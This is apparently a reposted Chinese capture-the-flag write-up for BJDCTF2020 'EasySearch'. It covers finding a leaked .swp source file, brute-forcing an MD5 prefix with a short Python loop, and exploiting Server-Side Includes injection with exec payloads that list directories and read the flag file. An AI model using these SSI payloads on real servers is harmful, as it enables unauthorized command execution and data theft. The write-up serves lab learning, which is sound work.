[BJDCTF2020]EasySearch-1
作者:互联网
1、打开之后界面如下:
2、在首界面审查源代码、抓包未获取到有效信息,就开始进行目录扫描,获取到index.php.swp文件,结果如下:
3、访问index.php.swp文件获取源代码信息,结果如下:
4、分析源代码发现password进行md5加密后前六位需要与'6d0bc1'相同,那就只能采取脚本或从自身收藏的md5值中搜索来获取目的字符,脚本以及搜索结果如下:
之前自己闲的时候把五位以内的所有的字符串的md5值给跑出来的:
脚本:
import hashlib
for i in range(1000000000):
md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if md5[0:6] == '6d0bc1':
print(str(i)+' | '+md5)
5、选择一个字符串进行登录并抓取数据包,结果如下:
6、访问发现的url地址,获得如下界面:
7、补充一下什么是ssi注入,SSI 注入全称Server-Side Includes Injection(服务端包含注入),ssi可以赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,当在网站目录中发现了.stm .shtm .shtml时就容易产生ssi注入,其注入格式为:<!--#exec cmd="命令" -->。
8、那就在可控参数用户名处输入可执行命令,payload:<!--#exec cmd="ls" -->,结果如下:
这个目录下未发下什么有用的东西,那就请求当前目录结构或上一级目录的,payload:<!--#exec cmd="pwd" -->或<!--#exec cmd="ls ../" -->,结果如下:
9、发现flag的文件信息后,那就直接读取flag值,payload:<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->,结果如下:
标签:BJDCTF2020,结果,EasySearch,如下,ssi,源代码,payload,md5 来源: https://www.cnblogs.com/upfine/p/16500169.html